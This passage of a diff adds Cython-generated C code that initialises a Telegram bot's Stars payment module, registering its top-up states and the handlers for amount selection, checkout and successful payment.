__pyx_n_s_logger)) __PYX_ERR(0, 20, __pyx_L1_error); + __pyx_t_2 = __Pyx_Import(__pyx_n_s_logger, __pyx_t_3, 0); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 20, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_t_3 = __Pyx_ImportFrom(__pyx_t_2, __pyx_n_s_logger); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 20, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + if (PyDict_SetItem(__pyx_d, __pyx_n_s_logger, __pyx_t_3) < 0) __PYX_ERR(0, 20, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + + /* "handlers/payments/stars_pay.py":22 + * from logger import logger + * + * router = Router() # <<<<<<<<<<<<<< + * + * + */ + __Pyx_GetModuleGlobalName(__pyx_t_2, __pyx_n_s_Router); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 22, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __pyx_t_3 = __Pyx_PyObject_CallNoArg(__pyx_t_2); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 22, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + if (PyDict_SetItem(__pyx_d, __pyx_n_s_router, __pyx_t_3) < 0) __PYX_ERR(0, 22, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + + /* "handlers/payments/stars_pay.py":26 + * + * + * class ReplenishBalanceState(StatesGroup): # <<<<<<<<<<<<<< + * choosing_amount_stars = State() + * waiting_for_payment_confirmation_stars = State() + */ + __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_StatesGroup); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 26, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __pyx_t_2 = PyTuple_New(1); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 26, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_GIVEREF(__pyx_t_3); + if (__Pyx_PyTuple_SET_ITEM(__pyx_t_2, 0, __pyx_t_3)) __PYX_ERR(0, 26, __pyx_L1_error); + __pyx_t_3 = 0; + __pyx_t_3 = __Pyx_PEP560_update_bases(__pyx_t_2); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 26, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __pyx_t_4 = __Pyx_CalculateMetaclass(NULL, __pyx_t_3); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 26, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_4); + __pyx_t_5 = __Pyx_Py3MetaclassPrepare(__pyx_t_4, __pyx_t_3, __pyx_n_s_ReplenishBalanceState, __pyx_n_s_ReplenishBalanceState, (PyObject *) NULL, __pyx_n_s_handlers_payments_stars_pay, (PyObject *) NULL); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 26, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_5); + if (__pyx_t_3 != __pyx_t_2) { + if (unlikely((PyDict_SetItemString(__pyx_t_5, "__orig_bases__", __pyx_t_2) < 0))) __PYX_ERR(0, 26, __pyx_L1_error) + } + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + + /* "handlers/payments/stars_pay.py":27 + * + * class ReplenishBalanceState(StatesGroup): + * choosing_amount_stars = State() # <<<<<<<<<<<<<< + * waiting_for_payment_confirmation_stars = State() + * entering_custom_amount_stars = State() + */ + __Pyx_GetModuleGlobalName(__pyx_t_6, __pyx_n_s_State); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 27, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_6); + __pyx_t_7 = NULL; + __pyx_t_8 = 0; + #if CYTHON_UNPACK_METHODS + if (unlikely(PyMethod_Check(__pyx_t_6))) { + __pyx_t_7 = PyMethod_GET_SELF(__pyx_t_6); + if (likely(__pyx_t_7)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_6); + __Pyx_INCREF(__pyx_t_7); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_6, function); + __pyx_t_8 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_7, NULL}; + __pyx_t_2 = __Pyx_PyObject_FastCall(__pyx_t_6, __pyx_callargs+1-__pyx_t_8, 0+__pyx_t_8); + __Pyx_XDECREF(__pyx_t_7); __pyx_t_7 = 0; + if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 27, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; + } + if (__Pyx_SetNameInClass(__pyx_t_5, __pyx_n_s_choosing_amount_stars, __pyx_t_2) < 0) __PYX_ERR(0, 27, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + + /* "handlers/payments/stars_pay.py":28 + * class ReplenishBalanceState(StatesGroup): + * choosing_amount_stars = State() + * waiting_for_payment_confirmation_stars = State() # <<<<<<<<<<<<<< + * entering_custom_amount_stars = State() + * + */ + __Pyx_GetModuleGlobalName(__pyx_t_6, __pyx_n_s_State); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 28, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_6); + __pyx_t_7 = NULL; + __pyx_t_8 = 0; + #if CYTHON_UNPACK_METHODS + if (unlikely(PyMethod_Check(__pyx_t_6))) { + __pyx_t_7 = PyMethod_GET_SELF(__pyx_t_6); + if (likely(__pyx_t_7)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_6); + __Pyx_INCREF(__pyx_t_7); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_6, function); + __pyx_t_8 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_7, NULL}; + __pyx_t_2 = __Pyx_PyObject_FastCall(__pyx_t_6, __pyx_callargs+1-__pyx_t_8, 0+__pyx_t_8); + __Pyx_XDECREF(__pyx_t_7); __pyx_t_7 = 0; + if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 28, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; + } + if (__Pyx_SetNameInClass(__pyx_t_5, __pyx_n_s_waiting_for_payment_confirmation, __pyx_t_2) < 0) __PYX_ERR(0, 28, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + + /* "handlers/payments/stars_pay.py":29 + * choosing_amount_stars = State() + * waiting_for_payment_confirmation_stars = State() + * entering_custom_amount_stars = State() # <<<<<<<<<<<<<< + * + * + */ + __Pyx_GetModuleGlobalName(__pyx_t_6, __pyx_n_s_State); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 29, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_6); + __pyx_t_7 = NULL; + __pyx_t_8 = 0; + #if CYTHON_UNPACK_METHODS + if (unlikely(PyMethod_Check(__pyx_t_6))) { + __pyx_t_7 = PyMethod_GET_SELF(__pyx_t_6); + if (likely(__pyx_t_7)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_6); + __Pyx_INCREF(__pyx_t_7); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_6, function); + __pyx_t_8 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_7, NULL}; + __pyx_t_2 = __Pyx_PyObject_FastCall(__pyx_t_6, __pyx_callargs+1-__pyx_t_8, 0+__pyx_t_8); + __Pyx_XDECREF(__pyx_t_7); __pyx_t_7 = 0; + if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 29, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; + } + if (__Pyx_SetNameInClass(__pyx_t_5, __pyx_n_s_entering_custom_amount_stars, __pyx_t_2) < 0) __PYX_ERR(0, 29, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + + /* "handlers/payments/stars_pay.py":26 + * + * + * class ReplenishBalanceState(StatesGroup): # <<<<<<<<<<<<<< + * choosing_amount_stars = State() + * waiting_for_payment_confirmation_stars = State() + */ + __pyx_t_2 = __Pyx_Py3ClassCreate(__pyx_t_4, __pyx_n_s_ReplenishBalanceState, __pyx_t_3, __pyx_t_5, NULL, 0, 0); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 26, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + if (PyDict_SetItem(__pyx_d, __pyx_n_s_ReplenishBalanceState, __pyx_t_2) < 0) __PYX_ERR(0, 26, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; + __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + + /* "handlers/payments/stars_pay.py":32 + * + * + * @router.callback_query(F.data == "pay_stars") # <<<<<<<<<<<<<< + * async def process_callback_pay_stars( + * callback_query: types.CallbackQuery, state: FSMContext, session: Any + */ + __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_router); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 32, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_callback_query); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 32, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_4); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_F); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 32, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __pyx_t_5 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_data); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 32, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_5); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_t_3 = PyObject_RichCompare(__pyx_t_5, __pyx_n_u_pay_stars, Py_EQ); __Pyx_XGOTREF(__pyx_t_3); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 32, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; + __pyx_t_5 = __Pyx_PyObject_CallOneArg(__pyx_t_4, __pyx_t_3); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 32, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_5); + __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_t_3 = __Pyx_PyDict_NewPresized(3); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 32, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + if (PyDict_SetItem(__pyx_t_3, __pyx_n_s_callback_query, __pyx_kp_s_types_CallbackQuery) < 0) __PYX_ERR(0, 32, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_3, __pyx_n_s_state, __pyx_n_s_FSMContext) < 0) __PYX_ERR(0, 32, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_3, __pyx_n_s_session, __pyx_n_s_Any) < 0) __PYX_ERR(0, 32, __pyx_L1_error) + __pyx_t_4 = __Pyx_CyFunction_New(&__pyx_mdef_8handlers_8payments_9stars_pay_1process_callback_pay_stars, __Pyx_CYFUNCTION_COROUTINE, __pyx_n_s_process_callback_pay_stars, NULL, __pyx_n_s_handlers_payments_stars_pay, __pyx_d, ((PyObject *)__pyx_codeobj_)); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 32, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_4); + __Pyx_CyFunction_SetAnnotationsDict(__pyx_t_4, __pyx_t_3); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_t_3 = __Pyx_PyObject_CallOneArg(__pyx_t_5, __pyx_t_4); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 32, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; + __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; + if (PyDict_SetItem(__pyx_d, __pyx_n_s_process_callback_pay_stars, __pyx_t_3) < 0) __PYX_ERR(0, 32, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + + /* "handlers/payments/stars_pay.py":102 + * + * + * @router.callback_query(F.data.startswith("stars_amount|")) # <<<<<<<<<<<<<< + * async def process_amount_selection( + * callback_query: types.CallbackQuery, state: FSMContext + */ + __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_router); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 102, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_callback_query); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 102, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_4); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_F); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 102, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __pyx_t_5 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_data); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 102, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_5); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_5, __pyx_n_s_startswith); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 102, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; + __pyx_t_5 = __Pyx_PyObject_Call(__pyx_t_3, __pyx_tuple__32, NULL); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 102, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_5); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_t_3 = __Pyx_PyObject_CallOneArg(__pyx_t_4, __pyx_t_5); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 102, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; + __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; + __pyx_t_5 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 102, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_5); + if (PyDict_SetItem(__pyx_t_5, __pyx_n_s_callback_query, __pyx_kp_s_types_CallbackQuery) < 0) __PYX_ERR(0, 102, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_5, __pyx_n_s_state, __pyx_n_s_FSMContext) < 0) __PYX_ERR(0, 102, __pyx_L1_error) + __pyx_t_4 = __Pyx_CyFunction_New(&__pyx_mdef_8handlers_8payments_9stars_pay_4process_amount_selection, __Pyx_CYFUNCTION_COROUTINE, __pyx_n_s_process_amount_selection, NULL, __pyx_n_s_handlers_payments_stars_pay, __pyx_d, ((PyObject *)__pyx_codeobj__7)); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 102, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_4); + __Pyx_CyFunction_SetAnnotationsDict(__pyx_t_4, __pyx_t_5); + __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; + __pyx_t_5 = __Pyx_PyObject_CallOneArg(__pyx_t_3, __pyx_t_4); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 102, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_5); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; + if (PyDict_SetItem(__pyx_d, __pyx_n_s_process_amount_selection, __pyx_t_5) < 0) __PYX_ERR(0, 102, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; + + /* "handlers/payments/stars_pay.py":155 + * + * + * @router.callback_query(F.data == "enter_custom_amount_stars") # <<<<<<<<<<<<<< + * async def process_enter_custom_amount( + * callback_query: types.CallbackQuery, state: FSMContext + */ + __Pyx_GetModuleGlobalName(__pyx_t_5, __pyx_n_s_router); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 155, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_5); + __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_5, __pyx_n_s_callback_query); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 155, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_4); + __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; + __Pyx_GetModuleGlobalName(__pyx_t_5, __pyx_n_s_F); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 155, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_5); + __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_5, __pyx_n_s_data); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 155, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; + __pyx_t_5 = PyObject_RichCompare(__pyx_t_3, __pyx_n_u_enter_custom_amount_stars, Py_EQ); __Pyx_XGOTREF(__pyx_t_5); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 155, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_t_3 = __Pyx_PyObject_CallOneArg(__pyx_t_4, __pyx_t_5); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 155, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; + __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; + __pyx_t_5 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 155, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_5); + if (PyDict_SetItem(__pyx_t_5, __pyx_n_s_callback_query, __pyx_kp_s_types_CallbackQuery) < 0) __PYX_ERR(0, 155, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_5, __pyx_n_s_state, __pyx_n_s_FSMContext) < 0) __PYX_ERR(0, 155, __pyx_L1_error) + __pyx_t_4 = __Pyx_CyFunction_New(&__pyx_mdef_8handlers_8payments_9stars_pay_7process_enter_custom_amount, __Pyx_CYFUNCTION_COROUTINE, __pyx_n_s_process_enter_custom_amount, NULL, __pyx_n_s_handlers_payments_stars_pay, __pyx_d, ((PyObject *)__pyx_codeobj__19)); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 155, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_4); + __Pyx_CyFunction_SetAnnotationsDict(__pyx_t_4, __pyx_t_5); + __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; + __pyx_t_5 = __Pyx_PyObject_CallOneArg(__pyx_t_3, __pyx_t_4); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 155, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_5); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; + if (PyDict_SetItem(__pyx_d, __pyx_n_s_process_enter_custom_amount, __pyx_t_5) < 0) __PYX_ERR(0, 155, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; + + /* "handlers/payments/stars_pay.py":170 + * + * + * @router.message(ReplenishBalanceState.entering_custom_amount_stars) # <<<<<<<<<<<<<< + * async def process_custom_amount_input(message: types.Message, state: FSMContext): + * if message.text.isdigit(): + */ + __Pyx_GetModuleGlobalName(__pyx_t_5, __pyx_n_s_router); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 170, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_5); + __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_5, __pyx_n_s_message); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 170, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_4); + __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; + __Pyx_GetModuleGlobalName(__pyx_t_5, __pyx_n_s_ReplenishBalanceState); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 170, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_5); + __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_5, __pyx_n_s_entering_custom_amount_stars); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 170, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; + __pyx_t_5 = __Pyx_PyObject_CallOneArg(__pyx_t_4, __pyx_t_3); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 170, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_5); + __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_t_3 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 170, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + if (PyDict_SetItem(__pyx_t_3, __pyx_n_s_message, __pyx_kp_s_types_Message) < 0) __PYX_ERR(0, 170, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_3, __pyx_n_s_state, __pyx_n_s_FSMContext) < 0) __PYX_ERR(0, 170, __pyx_L1_error) + __pyx_t_4 = __Pyx_CyFunction_New(&__pyx_mdef_8handlers_8payments_9stars_pay_10process_custom_amount_input, __Pyx_CYFUNCTION_COROUTINE, __pyx_n_s_process_custom_amount_input, NULL, __pyx_n_s_handlers_payments_stars_pay, __pyx_d, ((PyObject *)__pyx_codeobj__23)); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 170, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_4); + __Pyx_CyFunction_SetAnnotationsDict(__pyx_t_4, __pyx_t_3); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_t_3 = __Pyx_PyObject_CallOneArg(__pyx_t_5, __pyx_t_4); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 170, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; + __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; + if (PyDict_SetItem(__pyx_d, __pyx_n_s_process_custom_amount_input, __pyx_t_3) < 0) __PYX_ERR(0, 170, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + + /* "handlers/payments/stars_pay.py":208 + * + * + * @router.pre_checkout_query() # <<<<<<<<<<<<<< + * async def on_pre_checkout_query(pre_checkout_query: PreCheckoutQuery): + * await pre_checkout_query.answer(ok=True) + */ + __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_router); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 208, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_pre_checkout_query); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 208, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_4); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_t_3 = __Pyx_PyObject_CallNoArg(__pyx_t_4); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 208, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; + __pyx_t_4 = __Pyx_PyDict_NewPresized(1); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 208, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_4); + if (PyDict_SetItem(__pyx_t_4, __pyx_n_s_pre_checkout_query, __pyx_n_s_PreCheckoutQuery) < 0) __PYX_ERR(0, 208, __pyx_L1_error) + __pyx_t_5 = __Pyx_CyFunction_New(&__pyx_mdef_8handlers_8payments_9stars_pay_13on_pre_checkout_query, __Pyx_CYFUNCTION_COROUTINE, __pyx_n_s_on_pre_checkout_query, NULL, __pyx_n_s_handlers_payments_stars_pay, __pyx_d, ((PyObject *)__pyx_codeobj__27)); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 208, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_5); + __Pyx_CyFunction_SetAnnotationsDict(__pyx_t_5, __pyx_t_4); + __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; + __pyx_t_4 = __Pyx_PyObject_CallOneArg(__pyx_t_3, __pyx_t_5); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 208, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_4); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; + if (PyDict_SetItem(__pyx_d, __pyx_n_s_on_pre_checkout_query, __pyx_t_4) < 0) __PYX_ERR(0, 208, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; + + /* "handlers/payments/stars_pay.py":213 + * + * + * @router.message(F.successful_payment) # <<<<<<<<<<<<<< + * async def on_successful_payment( + * message: types.Message, + */ + __Pyx_GetModuleGlobalName(__pyx_t_4, __pyx_n_s_router); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 213, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_4); + __pyx_t_5 = __Pyx_PyObject_GetAttrStr(__pyx_t_4, __pyx_n_s_message); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 213, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_5); + __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; + __Pyx_GetModuleGlobalName(__pyx_t_4, __pyx_n_s_F); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 213, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_4); + __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_4, __pyx_n_s_successful_payment); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 213, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; + __pyx_t_4 = __Pyx_PyObject_CallOneArg(__pyx_t_5, __pyx_t_3); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 213, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_4); + __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_t_3 = __Pyx_PyDict_NewPresized(1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 213, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + if (PyDict_SetItem(__pyx_t_3, __pyx_n_s_message, __pyx_kp_s_types_Message) < 0) __PYX_ERR(0, 213, __pyx_L1_error) + __pyx_t_5 = __Pyx_CyFunction_New(&__pyx_mdef_8handlers_8payments_9stars_pay_16on_successful_payment, __Pyx_CYFUNCTION_COROUTINE, __pyx_n_s_on_successful_payment, NULL, __pyx_n_s_handlers_payments_stars_pay, __pyx_d, ((PyObject *)__pyx_codeobj__28)); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 213, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_5); + __Pyx_CyFunction_SetAnnotationsDict(__pyx_t_5, __pyx_t_3); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_t_3 = __Pyx_PyObject_CallOneArg(__pyx_t_4, __pyx_t_5); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 213, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; + __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; + if (PyDict_SetItem(__pyx_d, __pyx_n_s_on_successful_payment, __pyx_t_3) < 0) __PYX_ERR(0, 213, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + + /* "handlers/payments/stars_pay.py":1 + * from typing import Any # <<<<<<<<<<<<<< + * + * from aiogram import F, Router, types + */ + __pyx_t_3 = __Pyx_PyDict_NewPresized(0); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 1, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + if (PyDict_SetItem(__pyx_d, __pyx_n_s_test, __pyx_t_3) < 0) __PYX_ERR(0, 1, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + + /*--- Wrapped vars code ---*/ + + goto __pyx_L0; + __pyx_L1_error:; + __Pyx_XDECREF(__pyx_t_2); + __Pyx_XDECREF(__pyx_t_3); + 